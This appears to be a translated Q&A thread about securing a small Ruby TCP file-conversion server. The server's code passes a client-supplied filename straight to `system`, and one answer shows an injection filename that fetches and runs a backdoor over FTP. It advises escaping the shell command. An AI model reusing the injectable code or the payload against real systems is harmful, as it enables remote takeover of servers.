Должен ли я принять меры безопасности для небольшого сервера с одним сервисом? - PullRequest
2 голосов
/ 30 июня 2010

У меня есть некоторый опыт программирования, но у меня очень мало опыта в отношении безопасности программ. Я написал сервер с одним сервисом на Ruby, который работает на компьютере под управлением Windows XP и будет использоваться компьютером Linux в той же лаборатории. Лабораторная сеть также находится за брандмауэром, так что там не должно быть проблем, но я действительно понятия не имею. Ниже приведен код для сервера. Все, что он делает, это берет файл .raw, запускает msconvert.exe, чтобы преобразовать его в файл mzML, а затем отправляет обратно файл mzML.

require 'socket'

server = TCPServer.open(2000)
loop {
  client = server.accept

  filename = client.gets.chomp
  puts "Reading contents of #{filename}.raw"
  raw_data = client.gets("\r\r\n\n").chomp("\r\r\n\n")
  File.open(filename + ".raw", 'wb') {|out| out.print raw_data}
  puts "Converting #{filename}"

  #It's lame to have a script run a script, but it's the only way to get this to work.
  system "scriptit.bat " + filename + ".raw"

  puts "Sending contents of #{filename}.mzML"
  client.print IO.read(filename + ".mzML")
  client.print "\r\r\n\n"
  puts "Done"
  client.close # Disconnect from the client
}

Должен ли я сделать что-то, чтобы сделать это более безопасным, или мне не нужно беспокоиться об этом?

Ответы [ 3 ]

3 голосов
/ 30 июня 2010

Если злоумышленник допустит filename из || ftp ftp://host/backdoor.exe || backdoor.exe ||, он сможет заразить ваш сервер.

Для исправления этого сервера вам необходимо использовать Escape.shell_command () .

1 голос
/ 02 июля 2010

Что ж, если ваш сервер Windows используется только лабораторными компьютерами, я бы сказал, что достаточно настроить брандмауэр так, чтобы никто не мог получить доступ к серверу извне.

0 голосов
/ 30 июня 2010

Если система подвергается какому-либо общедоступному воздействию (интернету и т. Д.), Безопасность очень важна.Некоторым людям очень нравится ломать системы.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...